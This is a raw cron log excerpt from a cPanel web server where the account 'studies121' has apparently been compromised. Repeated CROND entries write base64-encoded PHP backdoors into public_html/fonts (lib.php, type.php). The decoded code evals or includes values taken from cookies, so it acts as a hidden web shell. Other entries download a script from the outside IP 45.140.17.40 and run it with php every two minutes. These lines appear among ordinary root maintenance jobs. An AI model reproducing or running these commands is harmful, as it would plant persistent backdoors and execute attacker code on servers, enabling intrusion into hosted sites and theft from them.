Sep  4 06:31:01 ip-184-168-122-23 CROND[6854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:31:01 ip-184-168-122-23 CROND[6855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:31:01 ip-184-168-122-23 CROND[6856]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:31:01 ip-184-168-122-23 CROND[6853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:32:01 ip-184-168-122-23 CROND[6992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:32:01 ip-184-168-122-23 CROND[6996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:32:01 ip-184-168-122-23 CROND[6997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:32:01 ip-184-168-122-23 CROND[6994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:32:01 ip-184-168-122-23 CROND[6995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:33:01 ip-184-168-122-23 CROND[7120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:33:01 ip-184-168-122-23 CROND[7119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:33:01 ip-184-168-122-23 CROND[7118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:33:01 ip-184-168-122-23 CROND[7121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:34:01 ip-184-168-122-23 CROND[7351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:34:01 ip-184-168-122-23 CROND[7352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:34:01 ip-184-168-122-23 CROND[7354]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:34:01 ip-184-168-122-23 CROND[7353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:34:01 ip-184-168-122-23 CROND[7355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:35:02 ip-184-168-122-23 CROND[7476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7475]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7484]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 06:35:02 ip-184-168-122-23 CROND[7483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:36:01 ip-184-168-122-23 CROND[7595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:36:01 ip-184-168-122-23 CROND[7597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:36:01 ip-184-168-122-23 CROND[7596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:36:01 ip-184-168-122-23 CROND[7599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:36:01 ip-184-168-122-23 CROND[7600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:37:01 ip-184-168-122-23 CROND[7714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:37:01 ip-184-168-122-23 CROND[7715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:37:01 ip-184-168-122-23 CROND[7717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:37:01 ip-184-168-122-23 CROND[7720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:38:01 ip-184-168-122-23 CROND[7847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:38:01 ip-184-168-122-23 CROND[7846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:38:01 ip-184-168-122-23 CROND[7850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:38:01 ip-184-168-122-23 CROND[7848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:38:01 ip-184-168-122-23 CROND[7849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:39:01 ip-184-168-122-23 CROND[7982]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 06:39:01 ip-184-168-122-23 CROND[7985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:39:01 ip-184-168-122-23 CROND[7984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:39:01 ip-184-168-122-23 CROND[7983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:39:01 ip-184-168-122-23 CROND[7986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:40:01 ip-184-168-122-23 CROND[8175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:40:01 ip-184-168-122-23 CROND[8179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:40:01 ip-184-168-122-23 CROND[8177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:40:01 ip-184-168-122-23 CROND[8178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:40:01 ip-184-168-122-23 CROND[8182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:40:01 ip-184-168-122-23 CROND[8181]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:40:01 ip-184-168-122-23 CROND[8180]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:40:01 ip-184-168-122-23 CROND[8185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:41:01 ip-184-168-122-23 CROND[8328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:41:01 ip-184-168-122-23 CROND[8330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:41:01 ip-184-168-122-23 CROND[8331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:41:01 ip-184-168-122-23 CROND[8329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:42:01 ip-184-168-122-23 CROND[8462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:42:01 ip-184-168-122-23 CROND[8463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:42:01 ip-184-168-122-23 CROND[8465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:42:01 ip-184-168-122-23 CROND[8464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:42:01 ip-184-168-122-23 CROND[8466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:43:01 ip-184-168-122-23 CROND[8693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
